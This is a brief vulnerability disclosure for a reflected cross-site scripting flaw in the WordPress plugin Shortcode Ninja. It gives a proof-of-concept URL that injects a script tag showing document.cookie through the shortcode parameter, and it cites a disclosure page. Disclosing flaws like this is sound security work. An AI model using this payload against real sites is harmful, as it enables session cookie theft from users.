The last time it was checked the plugin was still affected and had been closed.
http://www.example.com/wp-content/plugins/shortcode–ninja/preview-shortcode-external.php?shortcode=shortcode'><script>alert(document.cookie)</script>
codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss/